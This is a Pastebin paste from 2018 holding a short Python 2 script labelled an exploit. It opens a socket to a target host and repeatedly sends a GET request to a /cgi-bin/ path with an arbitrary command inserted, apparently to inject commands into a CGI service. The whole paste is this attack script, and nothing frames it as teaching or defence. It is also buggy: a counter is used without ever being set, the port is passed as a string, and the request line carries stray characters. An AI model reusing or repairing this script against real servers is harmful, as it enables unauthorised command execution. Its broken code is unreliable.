Guest User

Untitled

a guest
Jul 21st, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.83 KB | None | 0 0
  1. from socket import *
  2. import sys
  3. import time
  4.  
  5. HOST = sys.argv[1]
  6. PORT = sys.argv[2]
  7. COMMAND = sys.argv[3]
  8. getReq = '***GET /cgi-bin/:%s HTTP/1.0\r\n***' % (COMMAND)
  9.  
  10. try:
  11.     ITERATIONS = sys.argv[4]
  12. except:
  13.     ITERATIONS = 100
  14.  
  15. try:
  16.     s = socket(AF_INET, SOCK_STREAM)
  17.     print "[+] Connecting to %s on port %s" % (HOST, PORT)
  18.     s.connect((HOST, PORT))
  19.     print "[+] Connected"
  20. except Exception, msg:
  21.     print "[+] Could not connect to %s" % (HOST)
  22.     s.close()
  23.     sys.exit(1)
  24.  
  25. while number <= ITERATIONS:
  26.     try:
  27.         print "[+] Beggining exploit"
  28.         print "\n\n[+]\t Try number: %s" % (number)
  29.         s.send(getReq)
  30.         number = number +1
  31.         time.sleep(1)
  32.     except:
  33.         print "[+] Server is down or temporary unavailable. Retrying..."
  34.         time.sleep(15)
  35.         number = number + 1
Add Comment
Please, Sign In to add comment